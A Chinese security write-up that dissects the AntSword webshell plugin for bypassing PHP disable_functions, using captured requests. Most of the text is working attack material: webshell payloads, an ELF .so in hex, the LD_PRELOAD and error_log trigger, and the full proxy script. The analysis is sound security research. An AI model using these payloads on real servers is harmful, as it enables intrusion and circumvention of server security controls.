前言:前几天看到了一篇关于绕过disable_function的文章,里面讲到了蚁剑disable_function绕过插件,于是就去尝试了一下,结果发现报错,无法上传代理脚本,特地来分析一下蚁剑这个disable_function绕过这个插件的原理,看看能不能找出原因。
为了更好的阅读,所有的请求包都经过了php格式化
第一个请求包:
POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2338
Connection: close
hack=@ini_set("display_errors", "0");//忽略报错信息
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "02374b89";
echo @asenc($output);
echo "76463";
}
ob_start();
try {
$rt = array(
"os" => php_uname('s'),
"arch" => (PHP_INT_SIZE==4?32:64),
"ver" => substr(PHP_VERSION,0,3),
"shell_name" => basename($_SERVER['SCRIPT_NAME']),
"phpself" => realpath("."),
"temp_dir" => sys_get_temp_dir(),
"open_basedir" => array(),
"funcs" => array(),
);
$opath_str = ini_get('open_basedir');
if(strlen($opath_str)) {
$opath = explode(":", $opath_str);
foreach($opath as $p) {
$rp = realpath($p);
$rt["open_basedir"][$rp] = (is_writable($rp)?1:0);//可写路径的$rp值全都设置为1
}
}
$func_arr = array(
"dl",
"putenv",
"error_reporting",
"error_log",
"file_put_contents",
"file_get_contents",
"fopen",
"fclose",
"fwrite",
"tempnam",
"imap_open",
"symlink",
"curl_init",
"fsockopen"
);
foreach ($func_arr as $f) {
$rt["funcs"][$f] = (function_exists($f)?1:0);
}//在已经定义函数列表查找$func_arr里面的函数,找到返回1,否则返回0
$rt["funcs"]["dl"] = ((bool)ini_get("enable_dl")?1:0);
echo json_encode($rt);
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();//输出数据流
die();
请求包的作用:通过一系列的函数获取信息,包括一些版本号,open_basedir是否启用,可用函数等。
返回包:
HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 02:41:36 GMT
Server: Apache/2.4.46 (Debian)
Vary: Accept-Encoding
Content-Length: 349
Connection: close
Content-Type: text/html; charset=UTF-8
1541b7719ab{"os":"Linux","arch":64,"ver":"7.3","shell_name":"1.php","phpself":"\/var\/www\/html","temp_dir":"\/tmp","open_basedir":[],"funcs":{"dl":0,"putenv":1,"error_reporting":1,"error_log":1,"file_put_contents":1,"file_get_contents":1,"fopen":1,"fclose":1,"fwrite":1,"tempnam":1,"imap_open":0,"symlink":1,"curl_init":0,"fsockopen":1}}99f8fd5bbac
查看蚁剑的界面 刚好是返回包里面的内容,open_basedir 也没有做限制,不能用的函数为 dl,imap_open,curl_init。
第二个请求包:定义了俩个post m7e78e9f0389ea,v26e5c1fd3c936用来传值,后面的是用来解密的,我们通过这个函数解密看一下传入的内容到底是什么。
POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2225
Connection: close
hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "5b368892e";
echo @asenc($output);
echo "6b06d8";
}
ob_start();
try {
$f=base64_decode(substr($_POST["m7e78e9f0389ea"],2));
$c=$_POST["v26e5c1fd3c936"];
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
&m7e78e9f0389ea=HNL3RtcC8uNTI0NzFhbnRfeDY0LnNv&v26e5c1fd3c936=7F454C~4~602010100000000000000000003003E000100000092010000000000004000000000000000B000000000000000000000004000380002004000020001000100000007000000000000000000000000000000000000000000000000000000A202000000000000B2030000000000000010000000000000020000000700000030010000000000003001000000000000300100000000000060000000000000006000000000000000001000000000000001000000060000000000000000000000300100000000000030010000000000006000000000000000000000000000000008000000000000000700000000000000000000000300000000000000000000009001000000000000900100000000000002000000000000000000000000000000000000000000000000000000000000000C00000000000000920100000000000005000000000000009001000000000000060000000000000090010000000000000A0000000000000000000000000000000B0000000000000000000000000000000000000000000000000000000000000000006A3B589948BB2F62696E2F736800534889E7682D6300004889E652E8E9000000706870202D6E202D53203132372E302E302E313A3631343737202D74202F7661722F7777772F68746D6C202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020000056574889E60F05
通过解密 m7e78e9f0389ea传入的值为/tmp/.52471ant_x64.so,v26e5c1fd3c936传入的值为
ELF>�@�@8@��000``00`����� j;X�H�/bin/shSH��h-cH��R��php -n -S 127.0.0.1:61477 -t /var/www/html VWH��1
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0"); //把上面的写入到/tmp/.52471ant_x64.so文件里面
在文件里面也看见了。
真实路径为:
官方docker复现下的环境路径为:
在我删除systemd-private-acdcf2736aa745c68a58e052ad2168fd-apache2.service-nQeZSi文件夹之后就so文件也无法上传了。上传代理脚本出错的原因可能就是因为目录不对,才无法上传过去。
用ida分析一下。一个函数都没有,唯一的信息就是一个这个,开始分析下一个数据包。
作用就是通过php启动一个web服务。
返回包:
HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 07:16:53 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 16
Connection: close
Content-Type: text/html; charset=UTF-8
5b368892e16b06d8
第三个请求包:这个请求包主要是设置环境变量so。
POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 534
Connection: close
hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "0f081104a9f";
echo @asenc($output);
echo "70d17d6b56f6";
}
ob_start();
try {
error_reporting(E_ALL);
putenv("LD_PRELOAD=/tmp/.41830ant_x64.so");
error_log("a", 1);
echo(1);
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
返回包:
空
第四个请求包:这个请求包主要是打开一个网络连接。
POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 828
Connection: close
hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "f39e6c0f3";
echo @asenc($output);
echo "a5c0d";
}
ob_start();
try {
sleep(1);
$fp = @fsockopen("127.0.0.1", 64553, $errno, $errstr, 1);
if(!$fp) {
echo(0);
} else {
echo(1);
@fclose($fp);
}
;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
返回包:
HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 07:18:53 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 16
Connection: close
Content-Type: text/html; charset=UTF-8
5248a63f61d28202
第五个请求包:
POST /1.php HTTP/1.1
Host: 127.0.0.1:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3009
Connection: close
hack=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "a0ac74b59";
echo @asenc($output);
echo "64217cb07512";
}
ob_start();
try {
echo @fwrite(fopen(base64_decode(substr($_POST["m7e78e9f0389ea"],2)),"w"),base64_decode(substr($_POST["v26e5c1fd3c936"],2)))?"1":"0";
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
&m7e78e9f0389ea=dtL3Zhci93d3cvaHRtbC8uYW50cHJveHkucGhw&v26e5c1fd3c936=S9PD9waHAKZnVuY3Rpb24gZ2V0X2NsaWVudF9oZWFkZXIoKXsKICAgICRoZWFkZXJzPWFycmF5KCk7CiAgICBmb3JlYWNoKCRfU0VSVkVSIGFzICRrPT4kdil7CiAgICAgICAgaWYoc3RycG9zKCRrLCdIVFRQXycpPT09MCl7CiAgICAgICAgICAgICRrPXN0cnRvbG93ZXIocHJlZ19yZXBsYWNlKCcvXkhUVFAvJywgJycsICRrKSk7CiAgICAgICAgICAgICRrPXByZWdfcmVwbGFjZV9jYWxsYmFjaygnL19cdy8nLCdoZWFkZXJfY2FsbGJhY2snLCRrKTsKICAgICAgICAgICAgJGs9cHJlZ19yZXBsYWNlKCcvXl8vJywnJywkayk7CiAgICAgICAgICAgICRrPXN0cl9yZXBsYWNlKCdfJywnLScsJGspOwogICAgICAgICAgICBpZigkaz09J0hvc3QnKSBjb250aW51ZTsKICAgICAgICAgICAgJGhlYWRlcnNbXT0iJGs6JHYiOwogICAgICAgIH0KICAgIH0KICAgIHJldHVybiAkaGVhZGVyczsKfQpmdW5jdGlvbiBoZWFkZXJfY2FsbGJhY2soJHN0cil7CiAgICByZXR1cm4gc3RydG91cHBlcigkc3RyWzBdKTsKfQpmdW5jdGlvbiBwYXJzZUhlYWRlcigkc1Jlc3BvbnNlKXsKICAgIGxpc3QoJGhlYWRlcnN0ciwkc1Jlc3BvbnNlKT1leHBsb2RlKCINCg0KIiwkc1Jlc3BvbnNlLCAyKTsKICAgICRyZXQ9YXJyYXkoJGhlYWRlcnN0ciwkc1Jlc3BvbnNlKTsKICAgIGlmKHByZWdfbWF0Y2goJy9eSFRUUC8xLjEgZHszfS8nLCAkc1Jlc3BvbnNlKSl7CiAgICAgICAgJHJldD1wYXJzZUhlYWRlcigkc1Jlc3BvbnNlKTsKICAgIH0KICAgIHJldHVybiAkcmV0Owp9CgpzZXRfdGltZV9saW1pdCgxMjApOwokaGVhZGVycz1nZXRfY2xpZW50X2hlYWRlcigpOwokaG9zdCA9ICIxMjcuMC~4~wLjEiOwokcG9ydCA9IDY0MzE1OwokZXJybm8gPSAnJzsKJGVycnN0ciA9ICcnOwokdGltZW91dCA9IDMwOwokdXJsID0gIi8xLnBocCI7CgppZiAoIWVtcHR5KCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSkpewogICAgJHVybCAuPSAiPyIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwp9OwoKJGZwID0gZnNvY2tvcGVuKCRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAkdGltZW91dCk7CmlmKCEkZnApewogICAgcmV0dXJuIGZhbHNlOwp9CgokbWV0aG9kID0gIkdFVCI7CiRwb3N0X2RhdGEgPSAiIjsKaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgewogICAgJG1ldGhvZCA9ICJQT1NUIjsKICAgICRwb3N0X2RhdGEgPSBmaWxlX2dldF9jb250ZW50cygncGhwOi8vaW5wdXQnKTsKfQoKJG91dCA9ICRtZXRob2QuIiAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwokb3V0IC~4~9ICJIb3N0OiAiLiRob3N0LiI6Ii4kcG9ydC~4~iXHJcbiI7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0NPTlRFTlRfVFlQRSddKSkgewogICAgJG91dCAuPSAiQ29udGVudC1UeXBlOiAiLiRfU0VSVkVSWydDT05URU5UX1RZUEUnXS4iXHJcbiI7Cn0KJG91dCAuPSAiQ29udGVudC1sZW5ndGg6Ii5zdHJsZW4oJHBvc3RfZGF0YSkuIlxyXG4iOwoKJG91dCAuPSBpbXBsb2RlKCJcclxuIiwkaGVhZGVycyk7CiRvdXQgLj0gIlxyXG5cclxuIjsKJG91dCAuPSAiIi4kcG9zdF9kYXRhOwoKZnB1dHMoJGZwLCAkb3V0KTsKCiRyZXNwb25zZSA9ICcnOwp3aGlsZSgkcm~9~3PWZyZWFkKCRmcCwgNDA5NikpewogICAgJHJlc3BvbnNlIC~4~9ICRyb3c7Cn0KZmNsb3NlKCRmcCk7CiRwb3MgPSBzdHJwb3MoJHJlc3BvbnNlLCAiXHJcblxyXG4iKTsKJHJlc3BvbnNlID0gc3Vic3RyKCRyZXNwb25zZSwgJHBvcys0KTsKZWNobyAkcmVzcG9uc2U7Cg==
m7e78e9f0389ea传入的值为/var/www/html/.antproxy.php
v26e5c1fd3c936传入的是php的代理脚本,内容如下。
<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 64315;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/1.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
在上传代理脚本的时候,蚁剑报错,上传代理脚本失败。
返回包:
HTTP/1.1 200 OK
Date: Mon, 12 Apr 2021 07:18:54 GMT
Server: Apache/2.4.46 (Debian)
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8
a0ac74b59064217cb07512
总结:分析下来走到最后一步报错的这个地方,上传代理脚本失败。有俩个点,一个是.so文件在ida反编译后,不存在其他的函数,只有一个 php -n -S 127.0.0.1:61477 -t /var/www/html 也就执行了一个启动web服务的操作,利用-n不使用php.ini 从而bypass diable_function。在第三个数据包中存在 putenv(“LD_PRELOAD=/tmp/.41830ant_x64.so”)执行数据包2中的操作。
来源:freebuf.com 2021-04-13 16:27:30 by: mengmeng1
请登录后发表评论
注册